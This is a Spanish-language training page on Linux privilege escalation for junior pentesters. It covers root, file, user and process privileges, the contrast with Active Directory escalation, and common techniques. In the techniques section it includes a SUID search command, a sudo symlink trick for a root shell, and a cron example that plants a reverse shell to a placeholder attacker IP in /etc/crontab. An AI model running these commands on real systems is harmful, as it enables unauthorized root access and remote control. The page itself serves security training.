> For the complete documentation index, see [llms.txt](https://books.spartan-cybersec.com/cppj/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://books.spartan-cybersec.com/cppj/privilege-escalation-for-juniors/privesc-for-linux.md).

# PrivEsc For Linux

La escalación de privilegios en Linux es una técnica utilizada por atacantes y pentesters para obtener acceso root en sistemas donde inicialmente solo tienen acceso limitado. Esta práctica es crucial para obtener el control total del sistema y es fundamental para evaluar la seguridad de los entornos Linux. Este texto explora la necesidad de escalar privilegios en Linux, la importancia del usuario root, los diferentes tipos de privilegios en archivos y usuarios, y las técnicas más comunes utilizadas para escalar privilegios en Linux.

## <mark style="color:green;">Necesidad de Escalar Privilegios en Linux</mark>

Escalar privilegios en Linux es necesario por varias razones:

1. <mark style="color:green;">**Acceso Completo al Sistema**</mark><mark style="color:green;">:</mark> Con privilegios elevados, un atacante puede realizar cualquier operación en el sistema, incluyendo la modificación de archivos críticos, instalación de software malicioso y alteración de configuraciones de seguridad.
2. <mark style="color:green;">**Persistencia**</mark><mark style="color:green;">:</mark> Obtener acceso root permite a un atacante establecer mecanismos para mantener acceso persistente al sistema, incluso después de reinicios o intentos de limpieza.
3. <mark style="color:green;">**Movimiento Lateral**</mark><mark style="color:green;">:</mark> Privilegios elevados permiten a los atacantes moverse lateralmente dentro de una red y comprometer otros sistemas.

## <mark style="color:green;">**Usuario Root en Linux**</mark>

El usuario root es la cuenta más privilegiada en un sistema Linux. Tiene control total sobre el sistema operativo, pudiendo realizar cualquier acción sin restricciones.

* <mark style="color:green;">**Privilegios**</mark><mark style="color:green;">:</mark> Puede acceder y modificar cualquier archivo, ejecutar cualquier comando, y cambiar cualquier configuración del sistema.
* <mark style="color:green;">**Importancia**</mark><mark style="color:green;">:</mark> Obtener acceso como root otorga control absoluto sobre el sistema, permitiendo a un atacante manipularlo a su voluntad.

## <mark style="color:green;">**Privilegios en Linux: Archivos y Usuarios**</mark>

### <mark style="color:green;">**Privilegios de Archivos**</mark>

En Linux, los privilegios de archivos se gestionan mediante permisos y atributos.

* <mark style="color:green;">**Permisos Básicos**</mark><mark style="color:green;">:</mark> Lectura (r), escritura (w), y ejecución (x).
* <mark style="color:green;">**Propietarios y Grupos**</mark><mark style="color:green;">:</mark> Cada archivo tiene un propietario y un grupo asociado, y los permisos pueden ser definidos para el usuario propietario, el grupo y otros.
* <mark style="color:green;">**Listas de Control de Acceso (ACL)**</mark><mark style="color:green;">:</mark> Proporcionan un mecanismo más granular para asignar permisos a múltiples usuarios y grupos.

## <mark style="color:green;">**Privilegios de Usuarios**</mark>

Los usuarios en Linux pueden tener diferentes niveles de privilegios basados en sus roles y grupos de pertenencia.

* <mark style="color:green;">**Usuarios Estándar**</mark><mark style="color:green;">:</mark> Tienen permisos limitados y no pueden realizar cambios que afecten a otros usuarios o al sistema operativo.
* <mark style="color:green;">**Superusuarios (Root)**</mark><mark style="color:green;">:</mark> Tienen permisos elevados y pueden realizar cualquier operación en el sistema.
* **Sudoers**: Usuarios que tienen permisos para ejecutar comandos como root mediante el comando `sudo`.

## <mark style="color:green;">**Diferencias entre Escalación Local de Usuario y Escalación en Active Directory**</mark>

### <mark style="color:green;">**Escalación Local de Usuario**</mark>

* <mark style="color:green;">**Definición**</mark><mark style="color:green;">:</mark> Obtención de privilegios elevados en un único sistema.
* <mark style="color:green;">**Objetivo**</mark><mark style="color:green;">:</mark> Convertirse en root en ese sistema específico.
* <mark style="color:green;">**Técnicas Comunes**</mark><mark style="color:green;">:</mark> Explotación de vulnerabilidades locales, abuso de permisos de archivos, uso de binarios con SUID.

### <mark style="color:green;">**Escalación en Active Directory (En Entornos Windows)**</mark>

* <mark style="color:green;">**Definición**</mark><mark style="color:green;">:</mark> Obtención de privilegios elevados en un entorno de red basado en Active Directory (AD).
* <mark style="color:green;">**Objetivo**</mark><mark style="color:green;">:</mark> Convertirse en un administrador de dominio, lo que otorga control sobre todos los sistemas y usuarios dentro del dominio.
* <mark style="color:green;">**Técnicas Comunes**</mark><mark style="color:green;">:</mark> Abuso de credenciales de dominio, explotación de vulnerabilidades en servidores de AD, ataques Pass-the-Hash y Golden Ticket.

## <mark style="color:green;">**Privilegios de los Procesos**</mark>

En Linux, cada proceso tiene asociados ciertos privilegios que determinan lo que puede y no puede hacer.

* <mark style="color:green;">**UID y GID**</mark><mark style="color:green;">:</mark> Cada proceso se ejecuta con el ID de usuario (UID) y el ID de grupo (GID) del usuario que lo inició.
* <mark style="color:green;">**Capacidades**</mark><mark style="color:green;">:</mark> Linux proporciona un mecanismo de "capacidades" que permite asignar privilegios específicos a procesos sin otorgarles todos los permisos de root.
* <mark style="color:green;">**Contexto de Seguridad**</mark><mark style="color:green;">:</mark> El contexto de seguridad de un proceso incluye los permisos del usuario y las capacidades asignadas, determinando las acciones permitidas.

## <mark style="color:green;">**Técnicas Comunes de Escalación de Privilegios en Linux**</mark>

1. **Abuso de Binarios SUID/SGID**

* <mark style="color:green;">**Descripción**</mark><mark style="color:green;">:</mark> Binarios con el bit SUID (Set User ID) o SGID (Set Group ID) permiten que los programas se ejecuten con los privilegios del propietario del archivo, no del usuario que los ejecuta.
* <mark style="color:green;">**Ejemplo**</mark><mark style="color:green;">:</mark>

  ```bash
  find / -perm -4000 -type f 2>/dev/null  # Listar binarios SUID
  ```
* <mark style="color:green;">**Técnicas**</mark><mark style="color:green;">:</mark> Ejecutar comandos arbitrarios mediante binarios SUID vulnerables.

2. **Exploits de Kernel**

* <mark style="color:green;">**Descripción**</mark><mark style="color:green;">:</mark> Vulnerabilidades en el kernel de Linux que permiten escalar privilegios a root.
* <mark style="color:green;">**Ejemplo**</mark><mark style="color:green;">:</mark> Dirty COW (CVE-2016-5195), PwnKit (CVE-2021-4034).
* <mark style="color:green;">**Herramientas**</mark><mark style="color:green;">:</mark> Utilizar scripts de exploit disponibles públicamente.

3. **Manipulación de Archivos y Directorios**

* <mark style="color:green;">**Descripción**</mark><mark style="color:green;">:</mark> Explotar permisos incorrectos en archivos y directorios para ejecutar código con privilegios elevados.
* <mark style="color:green;">**Ejemplo**</mark><mark style="color:green;">:</mark> Crear archivos maliciosos en directorios con permisos inseguros.
* **Técnicas**:

  ```bash
  ln -s /bin/bash /tmp/ln_bash
  sudo /tmp/ln_bash  # Ejecutar bash con privilegios elevados
  ```

4. **Explotación de Tareas Cron**

* <mark style="color:green;">**Descripción**</mark><mark style="color:green;">:</mark> Modificar tareas cron configuradas incorrectamente para ejecutar código malicioso.
* <mark style="color:green;">**Ejemplo**</mark><mark style="color:green;">:</mark>

  ```bash
  echo "/bin/bash -c 'bash -i >& /dev/tcp/attacker_ip/attacker_port 0>&1'" > /tmp/evil.sh
  chmod +x /tmp/evil.sh
  echo "* * * * * root /tmp/evil.sh" >> /etc/crontab
  ```

5. **Exploits de Aplicaciones**

* <mark style="color:green;">**Descripción**</mark><mark style="color:green;">:</mark> Explotar vulnerabilidades en aplicaciones instaladas para obtener privilegios elevados.
* <mark style="color:green;">**Ejemplo**</mark>: Aplicaciones con configuraciones inseguras o vulnerabilidades conocidas.
* **Técnicas**: Buscar y explotar vulnerabilidades específicas en aplicaciones instaladas.
